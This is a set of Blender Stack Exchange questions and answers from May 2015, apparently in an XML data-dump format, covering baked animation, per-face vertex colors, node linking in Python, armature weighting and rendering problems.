  <row Id="30313" PostTypeId="2" ParentId="30308" CreationDate="2015-05-03T09:15:13.323" Score="3" Body="&lt;p&gt;Yes, it is possible! :) You can use the &quot;Bake action&quot;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an ocean, and an object that &quot;floats&quot; on the surface of the ocean using the method, described in this tutorial (&lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26QVo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Select a floating object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Press T and in the left pane, select the tab &quot;Animation&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Press Bake Action, select the frame range and check &quot;clear constraints&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OQ35i.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xobry.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Voila! You will see a lot of yellow strips in the timeline - the key frames of animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWtUW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you delete the ocean and sphere by which you drew in the dynamic Paint mode, floating object will continue to move as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUfv1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-04T15:01:34.123" LastActivityDate="2015-05-04T15:01:34.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30314" PostTypeId="1" AcceptedAnswerId="30316" CreationDate="2015-05-03T09:19:07.333" Score="9" ViewCount="3882" Body="&lt;p&gt;I am trying to export a mesh from some scientific experiment (in MATLAB) and load it in blender for rendering. I'd like to assign per-face colors (as opposed to per-vertex with interpolation over faces), and am willing to use any suggested solution (i.e., any file format, some trick with UV coordinates etc.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the simplest way to go with this?&lt;/p&gt;&#xA;" OwnerUserId="5022" LastEditorUserId="47" LastEditDate="2015-05-03T11:16:45.700" LastActivityDate="2015-10-14T07:47:03.367" Title="File format with per face colors" Tags="&lt;import&gt;&lt;file-format&gt;&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30315" PostTypeId="2" ParentId="27933" CreationDate="2015-05-03T09:26:51.167" Score="0" Body="&lt;p&gt;Here is a technique I have been incorporating into my workflow to create a landscape. First, I import the background image as a plane, or alternatively, create a plane and uv map the background image to it. This allows me to use the Blender outliner to show or hide the background image as I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I create a new grid object (or a subdivided plane, omitting or deleting &quot;only faces&quot; as necessary), leaving me with a grid containing only vertices. I reserve this grid, and make a copy to work with. The spacing of the vertices in the grid depend upon the requirements of the particular landscape, and the grid may not all be of uniform density. That is, there may be areas where the grid spacing is a vertex every 10 units, and others where the grid spacing is one vertex every 25 units. On one copy of this grid, I trace contour lines, for example, the water's edge, and the contours of the land, and sometimes of the water. Each contour is assigned to its own named vertex group for easy reference later. In marking the contours, I do not necessarily pay much attention to the grids. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I raise the contours to their respective elevations, and create large n-gon faces between a contour and the two contours adjoining it. I turn on the snap function, selecting &quot;faces&quot; as the target, and active element as the item to snap. I select the vertices, under the n-gon face, and move them along the z axis, and snap them to the n-gon face. When the vertices under an n-gon are all raised, I delete the face of the n-gon, and fill in the faces formed by the raised vertices. In some cases, especially along an edge, I may use an edge between adjacent contours instead of a face, and snap the intervenient vertices to the edge instead of to a face. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-05-03T09:26:51.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30316" PostTypeId="2" ParentId="30314" CreationDate="2015-05-03T10:38:03.990" Score="9" Body="&lt;p&gt;&lt;strong&gt;Short answer&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;.x3d, an xml based format. Color can be either specified &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;per vertex of face&lt;/li&gt;&#xA;&lt;li&gt;per face ( colorPerVertex='false' )   &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When imported via Blender's importer either method get converted to a &lt;em&gt;per vertex&lt;/em&gt;  &lt;em&gt;per face&lt;/em&gt; scheme for the &lt;code&gt;vertex_color&lt;/code&gt; layer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stanford .PLY format. (vertex colours are shared over all faces that use the vertex, only way to get color-per-face with this format is  wasteful duplication of each vertex)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;homegrown code&lt;/strong&gt;: essentially this code. all you need to write is the part where you map the current polygon.index to a color, so all vertices of that loop are assigned the same colour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a cube.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;indexed_colors = [&#xA;    (1,0,0), (1,1,0), (1,0,1), &#xA;    (0,0,1), (0,1,1), (0,1,0)]&#xA;&#xA;obj = bpy.data.objects['Cube']&#xA;mesh = obj.data&#xA;&#xA;# you probably know how to create the color layer..&#xA;if not mesh.vertex_colors:&#xA;    # creates one 'Col' by default&#xA;    obj.data.vertex_colors.new()&#xA;&#xA;color_layer = mesh.vertex_colors['Col']&#xA;&#xA;i = 0&#xA;for poly in mesh.polygons:&#xA;    # print(poly.loop_indices)&#xA;    color = indexed_colors[poly.index]&#xA;    for idx in poly.loop_indices:&#xA;        # loop = mesh.loops[idx]&#xA;        # v = loop.vertex_index&#xA;        color_layer.data[i].color = color[:3]&#xA;        i +=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IIxY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More elaboration on mesh generation is here: &lt;a href=&quot;https://blender.stackexchange.com/a/2408/47&quot;&gt;How to create a mesh programmatically, without bmesh?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Mesh.html?highlight=pydata#bpy.types.Mesh.from_pydata&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;from_pydata&lt;/code&gt; (docs link)&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mesh = bpy.data.meshes.new(&quot;mesh_name&quot;)&#xA;mesh.from_pydata(vertices=[], edges=[], faces=[])&#xA;mesh.update()&#xA;&#xA;obj = bpy.data.objects.new(&quot;obj_name&quot;, mesh)&#xA;&#xA;scene = bpy.context.scene&#xA;scene.objects.link(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Showing vertex colors&lt;/h3&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For both methods you still need to configure the Object's material once imported, if you want it to show the &lt;code&gt;vertex_color&lt;/code&gt; layer. This configuration is relatively painless but slightly different depending on which render engine you intend to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Cycles you use a node based material, &lt;a href=&quot;https://blender.stackexchange.com/questions/36783/import-ply-doesnt-display-vertex-colors&quot;&gt;shown here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Blender's Internal renderer the process is &lt;a href=&quot;https://blender.stackexchange.com/questions/36897/how-to-properly-set-vertex-paint-mode-from-a-python-script&quot;&gt;covered here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-10-14T07:47:03.367" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30317" PostTypeId="1" AcceptedAnswerId="30449" CreationDate="2015-05-03T11:38:28.617" Score="3" ViewCount="2149" Body="&lt;p&gt;I have a set of armors that are made of separated pieces like belts. All the pieces are joined as one object, but topologically they are separated (because they were made in Zbrush with mask+extract technique). When i parent an armor to armature with automatic weights, here is what happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gifyu.com/images/weightSeparateObj.gif&quot; rel=&quot;nofollow&quot;&gt;http://gifyu.com/images/weightSeparateObj.gif&lt;/a&gt; (Update: gif needs to load there, it may take some time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www74.zippyshare.com/v/ocwFam30/file.html&quot; rel=&quot;nofollow&quot;&gt;http://www74.zippyshare.com/v/ocwFam30/file.html&lt;/a&gt;&#xA;(Fixed: I don't know why the gif can't upload here, but it works after downloading)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, belts are moving different and each part has different weighting which causes intersecting and other bad looking things. I've tried manually painting/fixing weights, but it is almost impossible to do it correctly on separate objects like these. How to handle this problem?&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="8335" LastEditDate="2015-05-03T11:51:26.017" LastActivityDate="2015-05-06T15:16:44.030" Title="Weighting separated objects as one" Tags="&lt;objects&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30318" PostTypeId="1" AcceptedAnswerId="30319" CreationDate="2015-05-03T11:50:12.720" Score="5" ViewCount="1637" Body="&lt;p&gt;So I have some text that I have made into a mesh and split up by loose parts.&lt;br&gt;&#xA;And the problem is that whenever I try to add a location Keyframe Blender adds a keyframe to every letter instead of just the one that I have selected.&lt;br&gt;&#xA;Here Is the .blend file &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/214/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=214&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14139" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2018-01-14T16:03:26.177" Title="Keyframing problem. Adds keyframes on all objects instead of the one that I selected" Tags="&lt;animation&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="30319" PostTypeId="2" ParentId="30318" CreationDate="2015-05-03T12:53:13.290" Score="2" Body="&lt;p&gt;By looking in the &lt;em&gt;Dope Sheet&lt;/em&gt; and by experimenting with the keyframes, I can tell that the meshes have been linked at some point along the creation process. I tried the same thing with a new text object I made, and it worked perfectly. The method I used was to convert the extruded text to a mesh, then in edit mode select each character and press &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;&gt; Separate By Selection&lt;/em&gt;. &lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-05-03T13:03:39.590" LastActivityDate="2015-05-03T13:03:39.590" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30320" PostTypeId="2" ParentId="30293" CreationDate="2015-05-03T13:00:01.123" Score="3" Body="&lt;p&gt;To scale only one side of a group with free tangents:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the set of keys&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;C&lt;/kbd&gt; and hold &lt;kbd&gt;Shift&lt;/kbd&gt; to deselect the tangents you do not want to scale&lt;/li&gt;&#xA;&lt;li&gt;Right click to confirm the operation&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;X&lt;/kbd&gt; to scale along the horizontal axis as required&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ogqj6.gif&quot; alt=&quot;Here is a demo&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5693" LastEditorUserId="5693" LastEditDate="2015-05-04T10:20:29.377" LastActivityDate="2015-05-04T10:20:29.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30321" PostTypeId="1" AcceptedAnswerId="30323" CreationDate="2015-05-03T13:04:47.670" Score="9" ViewCount="2397" Body="&lt;p&gt;Having a node, I want to unlink it.&#xA;My current approach is to clear all links from a desired NodeSocket:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_node.inputs[0].links.clear()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AttributeError: 'tuple' object has no attribute 'clear'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would think that 'links' is a NodeLinks structure, which would have &#xA;&lt;em&gt;'clear()'&lt;/em&gt; and &lt;em&gt;'remove()'&lt;/em&gt;, but apparently no? I also can not simply &#xA;&lt;code&gt;del my_node.inputs[0].links[0]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One approach I got working is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for l in my_node.inputs[0].links:&#xA;     shader_node_tree_links.remove(l)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is there a simpler way? Should one of my previous attempts work?&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2020-02-11T18:57:42.587" Title="How to unlink a node with python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30322" PostTypeId="2" ParentId="29273" CreationDate="2015-05-03T13:29:24.850" Score="1" Body="&lt;p&gt;There is an addon that provides similar functionality to what you described called Mira Tools by Paul Geraskin, here is a &lt;a href=&quot;https://www.youtube.com/watch?v=eon0h77LO6o&quot; rel=&quot;nofollow&quot;&gt;Video&lt;/a&gt; demonstrating how it works. You can get the addon from &lt;a href=&quot;https://github.com/mifth/mifthtools&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="5693" LastActivityDate="2015-05-03T13:29:24.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30323" PostTypeId="2" ParentId="30321" CreationDate="2015-05-03T13:37:32.023" Score="11" Body="&lt;p&gt;The &lt;code&gt;my_node.inputs[0]&lt;/code&gt; is a node Socket type, and the &lt;code&gt;my_node.inputs[0].links&lt;/code&gt; is a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.NodeSocket.html#bpy.types.NodeSocket.links&quot; rel=&quot;nofollow noreferrer&quot;&gt;read only list of links&lt;/a&gt; from this socket, so your first attempt won't work, and you have found the correct way, which is deleting the link from &lt;code&gt;node_tree.links&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # remove only the desired link&#xA; l = my_node.outputs[0].links[0]&#xA; node_tree.links.remove(l)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To find a link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;output = my_node1.outputs[0]&#xA;input  = my_node2.inputs[0]&#xA;&#xA;for l in output.links :&#xA;    if l.to_socket == input :&#xA;       node_tree.remove(l)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also you can check for the connected node: &lt;code&gt;if l.to_node == my_node2:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_0/bpy.types.NodeLink.html#bpy.types.NodeLink&quot; rel=&quot;nofollow noreferrer&quot;&gt;DOC page&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="32220" LastEditDate="2019-05-21T12:57:49.407" LastActivityDate="2019-05-21T12:57:49.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30324" PostTypeId="1" CreationDate="2015-05-03T14:50:51.327" Score="1" ViewCount="89" Body="&lt;p&gt;I have used mix node to switch between materials in node editor and have used driver to control the switch. It renders properly i mean with correct material when switched but does not show in 3D viewport.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YdXGI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Switched&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFjKM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why it dose not refresh in 3D viewport?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-03T14:50:51.327" Title="Why Driver driven Node based material switch dose not reflect in 3D view?" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-05-03T17:19:08.680" ContentLicense="CC BY-SA 3.0" />
  <row Id="30325" PostTypeId="1" CreationDate="2015-05-03T15:33:16.973" Score="1" ViewCount="170" Body="&lt;p&gt;I have a certain object, a plane in this case. What I want to do is to create instances of it at BGE runtime and assign different textures to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for the module invoked at the start&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def init():&#xA;    '''&#xA;    MODULE&#xA;    Triggered in the beginning of the game&#xA;    '''&#xA;    cont = logic.getCurrentController()&#xA;    global own, scene&#xA;    own = cont.owner&#xA;    scene = logic.getCurrentScene()&#xA;&#xA;    for i,texture_filename in enumerate(IMAGES):&#xA;&#xA;        obj = scene.addObject('imagePlane','main')&#xA;        obj.position.z = -1000+i*0.01   &#xA;        createTexture(obj,texture_filename)&#xA;        resizeToAspect(obj,texture_filename)&#xA;&#xA;    print(textures)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the assigning function is basically taken from &lt;a href=&quot;https://www.blender.org/api/blender_python_api_2_72_release/bge.texture.html?highlight=texture&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and slightly modded, I thought that storing every texture in separate elements of a list would help, it didn't:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def createTexture(obj,texture_filename):&#xA;    &quot;&quot;&quot;Create a new Dynamic Texture&quot;&quot;&quot;&#xA;&#xA;    # get the reference pointer (ID) of the internal texture&#xA;    #add MA in front of a material name to show that it is a MATERIAL name&#xA;    ID = texture.materialID(obj, 'MAimagePlaneMat')&#xA;&#xA;    # create a texture object&#xA;    object_texture = texture.Texture(obj, ID)&#xA;&#xA;    # create a new source with an external image&#xA;    url = logic.expandPath(texture_filename)&#xA;    new_source = texture.ImageFFmpeg(url)&#xA;&#xA;    # the texture has to be stored in a permanent Python object&#xA;    # logic.texture = object_texture&#xA;&#xA;    # update/replace the texture&#xA;    object_texture.source = new_source&#xA;    object_texture.refresh(False)&#xA;&#xA;    global textures&#xA;    textures += [object_texture]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that all the created planes show the same image - the last one in &lt;code&gt;IMAGES&lt;/code&gt; list. I presume that they are all linked to the same material and therefore the same texture, and so they read data from the same source, the once assigned the last. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create separate textures for the same material at the runtime? Or maybe I can create separate materials at runtime, assign different textures to them and apply to instances of the plane object? Or maybe there is some other way of applying different textures to instances of a plane?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read in &lt;a href=&quot;http://www.elysiun.com/forum/showthread.php?325609-How-set-object-s-material-and-texture-in-game-using-python-script-BGE-python&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; that it's not really possible, but maybe this is an obsolete info?&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2015-05-03T15:33:16.973" Title="Cannot assign different textures to the instances of the same object in BGE" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;instances&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30328" PostTypeId="1" AcceptedAnswerId="30330" CreationDate="2015-05-03T16:43:14.267" Score="3" ViewCount="1038" Body="&lt;p&gt;From a given node tree, what is the most reliable way to get the end node being used for output, if any?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current approach is to check for the correct output type for the tree (&lt;code&gt;OUTPUT_MATERIAL&lt;/code&gt;, &lt;code&gt;OUTPUT_WORLD&lt;/code&gt;...) and for &lt;code&gt;is_active_output&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nodes = node_tree.nodes&#xA;&#xA;for n in nodes:&#xA;    if n.type == 'OUTPUT_WORLD' and n.is_active_output:&#xA;        return n&#xA;&#xA;return None&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I see no guarantee that there is only one node with &lt;code&gt;is_active_output&lt;/code&gt; (I can set this to True in multiple nodes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ShaderNodeTree has an &lt;code&gt;active_input&lt;/code&gt; field, but the value is -1.&lt;/p&gt;&#xA;" OwnerUserId="844" LastActivityDate="2015-05-03T18:58:34.273" Title="How to get the end node of a tree in python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30329" PostTypeId="1" CreationDate="2015-05-03T17:09:50.747" Score="7" ViewCount="12396" Body="&lt;p&gt;In the file attached I have created 2 cubes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cube A (with regular - non-node-based material with normal map)&lt;/li&gt;&#xA;&lt;li&gt;and Cube B (which &lt;em&gt;tries&lt;/em&gt; to use same normal map but with node set&#xA;up).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to achieve same normal effect in a node set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test file: &lt;a href=&quot;https://drive.google.com/file/d/0B0jpq2cgNh8zMnpaQS1JaVFBRHM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Node based normal map.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cLJOb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="72" LastEditDate="2015-05-05T16:21:06.867" LastActivityDate="2016-11-07T15:25:08.953" Title="How to use normal maps with nodes in Blender Internal?" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30330" PostTypeId="2" ParentId="30328" CreationDate="2015-05-03T18:58:34.273" Score="7" Body="&lt;p&gt;I have experimented with it and this is what i come up with :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;active_output&lt;/code&gt; is not a &lt;code&gt;node&lt;/code&gt; type so it will not contain the active output node, it is &lt;code&gt;NodeSocketInterface&lt;/code&gt; ( i don't know what this is )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;as you have found you can set multiple nodes &lt;code&gt;is_active_output&lt;/code&gt; to true and this will be misleading, but apparently this is handled automatically by blender like this : the last selected output node (in the UI ) is set to be the active output and all other output nodes get their &lt;code&gt;is_active_output&lt;/code&gt; property cleared.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;if you set &lt;code&gt;is_active_output&lt;/code&gt; to True for multiple nodes the first one in the &lt;code&gt;node_tree.nodes&lt;/code&gt; list is the active one.&lt;/li&gt;&#xA;&lt;li&gt;if you clear the &lt;code&gt;is_active_output&lt;/code&gt; of all nodes then the first output node in the list &lt;code&gt;node_tree.nodes&lt;/code&gt; is the active one.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to handle this in code i have two functions to get/set the active output :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def set_active(my_node):&#xA;        nodes = my_node.id_data.nodes&#xA;        for node in nodes :&#xA;            if node.type == 'OUTPUT_MATERIAL' :&#xA;                node.is_active_output = False&#xA;        my_node.is_active_output = True&#xA;&#xA;&#xA;def get_active(nodes):   &#xA;        for node in nodes :&#xA;            if node.type == 'OUTPUT_MATERIAL' and node.is_active_output :&#xA;                    return node&#xA;        for node in nodes :&#xA;            if node.type == 'OUTPUT_MATERIAL' :&#xA;                    return node&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-03T18:58:34.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30331" PostTypeId="1" CreationDate="2015-05-03T19:03:42.730" Score="1" ViewCount="2103" Body="&lt;p&gt;Apologies if this question has already been asked.  I'm completely new to Blender and I want to use it to create 3D objects for compositing in Photoshop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is even possible but here goes.  I've created a basic model that has arms and legs.  I've set it to be transparent so it looks like glass in Blender.  With another object behind my model you can see the distortion this glass material creates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I open the blender file (.3ds) in Photoshop which treats it as a 3D object.  Doesn't look pretty to begin with.  What I notice straight off is that a photo  I drop in behind my 3D object layer isn't distorted at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this it's possible to have 3D objects distort a 'normal' photo layer in Photoshop?&lt;/p&gt;&#xA;" OwnerUserId="14143" LastActivityDate="2016-10-09T17:22:42.900" Title="Exporting render image into Photoshop and still get material distortions" Tags="&lt;rendering&gt;&lt;export&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30332" PostTypeId="1" CreationDate="2015-05-03T20:22:05.237" Score="1" ViewCount="188" Body="&lt;p&gt;Blender is not completely drawing images. The 3D viewport itself works fine, but many of the other features are not working.&#xA;I will begin by showing images of the issue. At the bottom I describe my settings and system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/izpyt.png&quot; alt=&quot;partial splashscreen&quot;&gt;&#xA;For example, the splash screen only shows half the image.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uPKFk.png&quot; alt=&quot;A fully-rendered image&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pii8t.png&quot; alt=&quot;The saved image from the rendered scene&quot;&gt;&#xA;This image has finished rendering (As visible from the saved image), but only a portion of it shows in the viewport. The second image is just the image itself, not a screenshot.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6uVp2.png&quot; alt=&quot;Node Editor Missing images&quot;&gt;&#xA;Finally, the node editor is missing images and even entire nodes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXW4f.png&quot; alt=&quot;System Settings&quot;&gt;&#xA;I've attached my system settings if anyone has any ideas about what may help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running Arch Linux under the Nouveau drivers. Everything is completely up to date. I've already looked at this &lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=163017&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread&lt;/a&gt;, over on the arch linux forums, and the fix was to switch to the Nvidia proprietary drivers. Unfortunately, those drivers fail to run on my card properly (I've got a dual gpu card which is not correctly supported and so it only uses one GPU which immediately dies under the weight and shuts off the computer) so that isn't an option. Has anyone seen this and come up with a solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1142" LastActivityDate="2021-02-13T18:02:00.207" Title="Blender not showing whole images" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
